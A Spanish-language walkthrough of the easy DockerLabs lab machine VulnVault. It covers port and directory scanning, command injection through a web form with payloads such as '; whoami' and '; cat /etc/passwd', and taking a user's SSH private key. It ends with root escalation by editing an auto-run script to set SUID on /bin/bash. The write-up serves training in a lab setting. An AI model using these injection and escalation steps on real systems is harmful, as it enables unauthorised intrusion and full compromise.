Skip to content

VulnVault

This content is not available in your language yet.

En este artículo documentamos la resolución de la máquina virtual VulnVault, desarrollada por d1se0 y catalogada con un nivel de dificultad fácil.

El análisis se organiza en tres fases principales:

  1. Reconocimiento – Identificación de servicios, rutas y posibles vectores de ataque.
  2. Explotación – Ejecución de vulnerabilidades encontradas para obtener acceso inicial.
  3. Escalada de privilegios – Obtención de control total del sistema.
  • Nombre: VulnVault
  • Autor: d1se0
  • Dificultad: Fácil
  • Fecha de creación: 25/08/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el paquete:

    Ventana de terminal
    unzip VulnVault.zip
  3. Ejecutamos el despliegue:

    Ventana de terminal
    sudo bash auto_deploy.sh VulnVault.tar

Al iniciar la máquina, su IP se muestra directamente en la consola, por lo que no es necesario realizar un escaneo ARP.

IP asignada

Creamos un entorno de trabajo organizado:

Ventana de terminal
mkdir VulnVault
cd VulnVault
mkt # Crea carpetas: content, exploits, nmap, scripts

Ejecutamos un escaneo completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Servicios detectados:

  • 22 (SSH)
  • 80 (HTTP)

Usamos Gobuster para descubrir rutas y archivos expuestos:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Rutas encontradas:

  • Index – Página principal con formulario para registrar nombre y fecha de reportes. Index

  • Upload.php – Lista los reportes subidos y permite su lectura. upload

  • Upload.html – Formulario para subir reportes. upload

  • Upload.js y scripts.js – Código JavaScript de la aplicación. upload

  • /old – Versión antigua del sitio. upload

El sistema de subida de archivos (Upload.js) parece no funcionar correctamente, ya que los archivos no aparecen listados.

Sin embargo, el formulario principal (Index) permite ingresar datos que se procesan en el backend. Aquí probamos inyección de comandos PHP.

Ejemplo de prueba fallida (debido a ofuscación con \):

<?php system(id)

Añadiendo un ; al final del código, conseguimos ejecutar comandos sin que la ofuscación afecte:

; whoami

Comand escape

Obtenemos información del sistema y usuarios:

Ventana de terminal
; cat /etc/passwd

Lectura passwd

Exploramos el home de la usuaria samara:

  • Message.txt – Mensaje interno.
  • User.txt – Vacío.
  • Carpeta .ssh – Contiene llave privada autorizada.

SSH directory

Guardamos la llave privada en nuestra máquina, le damos permisos 600 y nos conectamos:

Ventana de terminal
chmod 600 id_rsa
ssh -i id_rsa samara@172.17.0.2

SSH ACCESS

No hay privilegios sudo:

Ventana de terminal
sudo -l

Tampoco binarios SUID útiles:

Ventana de terminal
find / -perm -4000 2>/dev/null

Usamos ps aux para identificar procesos interesantes:

ps aux

Detectamos que se ejecuta:

Ventana de terminal
/bin/bash /usr/local/bin/echo.sh

El script añade el contenido de message.txt a la salida. Podemos modificarlo para asignar el bit SUID a /bin/bash:

Ventana de terminal
chmod u+s /bin/bash

echo.sh set suid

Tras su ejecución, iniciamos una shell como root:

Ventana de terminal
/bin/bash -p

Root

La máquina VulnVault combina dos vectores de ataque comunes:

  1. Inyección de comandos en formularios web – Usada para obtener acceso inicial y robar credenciales SSH.
  2. Abuso de scripts mal protegidos – Aprovechando un script que se ejecuta automáticamente para escalar privilegios.

Este laboratorio es un buen ejemplo de cómo una vulnerabilidad simple en el frontend puede llevar, a través de una cadena de ataques, a un compromiso total del sistema.